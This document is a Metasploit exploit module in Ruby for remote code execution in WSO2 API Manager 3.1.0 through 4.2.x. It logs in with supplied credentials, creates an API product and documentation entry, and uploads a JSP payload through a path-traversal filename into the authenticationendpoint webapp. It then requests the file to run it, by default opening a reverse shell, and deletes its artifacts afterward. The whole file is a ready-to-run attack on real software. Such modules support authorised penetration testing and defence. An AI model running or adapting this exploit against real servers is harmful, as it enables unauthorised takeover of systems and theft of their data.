## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck attr_accessor :bearer def initialize(info = {}) super( update_info( info, 'Name' => 'WSO2 API Manager Documentation File Upload Remote Code Execution', 'Description' => %q{ A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server. }, 'Author' => [ 'Siebene@ <@Siebene7>', # Discovery 'Heyder Andrade <@HeyderAndrade>', # metasploit module 'Redway Security ' # Writeup and PoC ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988' ], # PoC [ 'URL', 'https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html' ], # Writeup [ 'URL', 'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/' ] ], 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp', 'SSL' => true, 'RPORT' => 9443 }, 'Platform' => %w[linux win], 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ [ 'Automatic', {} ], [ 'WSO2 API Manager (3.1.0 - 4.0.0)', { 'min_version' => '3.1.0', 'max_version' => '4.0.9', 'api_version' => 'v2' }, ], [ 'WSO2 API Manager (4.1.0)', { 'min_version' => '4.1.0', 'max_version' => '4.1.9', 'api_version' => 'v3' } ], [ 'WSO2 API Manager (4.2.0)', { 'min_version' => '4.2.0', 'max_version' => '4.2.9', 'api_version' => 'v4' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-05-31', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 API manager', '/']), OptString.new('HttpUsername', [true, 'WSO2 API manager username', 'admin']), OptString.new('HttpPassword', [true, 'WSO2 API manager password', '']) ] ) end def check vprint_status('Checking target...') begin authenticate rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'services', 'Version'), 'method' => 'GET', 'headers' => { 'Authorization' => "Bearer #{bearer}" } ) return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/ xml = res.get_xml_document xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/) version = Rex::Version.new ::Regexp.last_match(1) return CheckCode::Unknown('Unable to determine version') unless version return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?( Rex::Version.new('3.1.0'), Rex::Version.new('4.2.9') ) if target.name == 'Automatic' # Find the target based on the detected version selected_target_index = nil targets.each_with_index do |t, idx| if version.between?(Rex::Version.new(t.opts['min_version']), Rex::Version.new(t.opts['max_version'])) selected_target_index = idx break end end return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index # Set the target datastore['TARGET'] = selected_target_index vprint_status("Automatically selected target: #{target.name} for version #{version}") else vprint_error("Mismatch between version found (#{version}) and module target version (#{target.name})") unless version.between?( Rex::Version.new(target.opts['min_version']), Rex::Version.new(target.opts['max_version']) ) end report_vuln( host: rhost, name: name, refs: references, info: [version] ) return CheckCode::Appears("Detected WSO2 API Manager #{version} which is vulnerable.") end def authenticate nounce = nil opts = { 'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'), 'method' => 'GET', 'headers' => { 'Connection' => 'keep-alive' }, 'keep_cookies' => true } res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth if res&.get_cookies && res.get_cookies.match(/sessionNonceCookie-(.*)=/) vprint_status('Got session nonce') nounce = ::Regexp.last_match(1) end fail_with(Failure::UnexpectedReply, 'Failed to authenticate. Could not get session nonce') unless nounce auth_data = { 'usernameUserInput' => datastore['HttpUsername'], 'username' => datastore['HttpUsername'], 'password' => datastore['HttpPassword'], 'sessionDataKey' => nounce } opts = { 'uri' => normalize_uri(target_uri.path, '/commonauth'), 'method' => 'POST', 'headers' => { 'Connection' => 'keep-alive' }, 'keep_cookies' => true, 'vars_post' => auth_data } res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) vprint_status('Got bearer token') self.bearer = ::Regexp.last_match(1) end fail_with(Failure::UnexpectedReply, 'Authentication attempt failed. Could not get bearer token') unless bearer print_good('Authentication successful') end def list_product_api vprint_status('Listing products APIs...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), 'vars_get' => { 'limit' => 10, 'offset' => 0 }, 'method' => 'GET', 'headers' => { 'Authorization' => "Bearer #{bearer}" } ) fail_with(Failure::UnexpectedReply, 'Failed to list APIs') unless res&.code == 200 api_list = res.get_json_document['list'] if api_list.empty? print_error('No Products API available') print_status('Trying to create an API...') api_list = [create_product_api] end return api_list end def create_api api_data = { 'name' => Faker::App.name, 'description' => Faker::Lorem.sentence, 'context' => "/#{Faker::Internet.slug}", 'version' => Faker::App.version, 'transport' => ['http', 'https'], 'tags' => [Faker::ProgrammingLanguage.name], 'policies' => ['Unlimited'], 'securityScheme' => ['oauth2'], 'visibility' => 'PUBLIC', 'businessInformation' => { 'businessOwner' => Faker::Name.name, 'businessOwnerEmail' => Faker::Internet.email, 'technicalOwner' => Faker::Name.name, 'technicalOwnerEmail' => Faker::Internet.email }, 'endpointConfig' => { 'endpoint_type' => 'http', 'sandbox_endpoints' => { 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" }, 'production_endpoints' => { 'url' => "https://#{target_uri.host}:#{datastore['RPORT']}/am/#{Faker::Internet.slug}/v1/api/" } }, 'operations' => [ { 'target' => "/#{Faker::Internet.slug}", 'verb' => 'GET', 'throttlingPolicy' => 'Unlimited', 'authType' => 'Application & Application User' } ] } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis'), 'method' => 'POST', 'headers' => { 'Authorization' => "Bearer #{bearer}" }, 'ctype' => 'application/json', 'data' => api_data.to_json ) fail_with(Failure::UnexpectedReply, 'Failed to create API') unless res&.code == 201 print_good('API created successfully') return res.get_json_document end def create_product_api @api_id = create_api['id'] product_api_data = { 'name' => Faker::App.name, 'context' => Faker::Internet.slug, 'policies' => ['Unlimited'], 'apis' => [ { 'name' => '', 'apiId' => @api_id, 'operations' => [], 'version' => '1.0.0' } ], 'transport' => ['http', 'https'] } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products'), 'method' => 'POST', 'headers' => { 'Authorization' => "Bearer #{bearer}" }, 'ctype' => 'application/json', 'data' => product_api_data.to_json ) fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 @api_created = true print_good('API Product created successfully') return res.get_json_document end def create_document(api_id) doc_data = { 'name' => Rex::Text.rand_text_alpha(4..7), 'type' => 'HOWTO', 'summary' => Faker::Lorem.sentence, 'sourceType' => 'FILE', 'visibility' => 'API_LEVEL' } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents'), 'method' => 'POST', 'headers' => { 'Authorization' => "Bearer #{bearer}" }, 'ctype' => 'application/json', 'data' => doc_data.to_json ) unless res&.code == 201 vprint_error("Failed to create document for API #{api_id}") return end print_good('Document created successfully') return res.get_json_document['documentId'] end def upload_payload(api_id, doc_id) print_status('Uploading payload...') post_data = Rex::MIME::Message.new post_data.bound = rand_text_numeric(32) post_data.add_part(payload.encoded.to_s, 'text/plain', nil, "form-data; name=\"file\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}\"") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', api_id, '/documents/', doc_id, '/content'), 'method' => 'POST', 'headers' => { 'Authorization' => "Bearer #{bearer}" }, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s ) fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}") print_good("Payload uploaded successfully. File: #{jsp_filename}") return res end def execute_payload print_status('Executing payload... ') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/authenticationendpoint/', jsp_filename), 'method' => 'GET' ) fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed') unless res&.code == 200 print_good('Payload executed successfully') handler end def exploit authenticate unless bearer api_avaliable = list_product_api api_avaliable.each do |product_api| @product_api_id = product_api['id'] @doc_id = create_document(@product_api_id) next unless @doc_id res = upload_payload(@product_api_id, @doc_id) if res&.code == 201 execute_payload break end end end def cleanup return unless session_created? super # If we have created the API, we need to delete it; thus the documentation return delele_product_api && delele_api if @api_created # If the API was already there, we deleted only the documentation. delete_document end def jsp_filename @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" end def delete_document res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id), 'method' => 'DELETE', 'headers' => { 'Authorization' => "Bearer #{bearer}" } ) return res&.code == 200 end def delele_api res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id), 'method' => 'DELETE', 'headers' => { 'Authorization' => "Bearer #{bearer}" } ) return res&.code == 200 end def delele_product_api res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id), 'method' => 'DELETE', 'headers' => { 'Authorization' => "Bearer #{bearer}" } ) return res&.code == 200 end end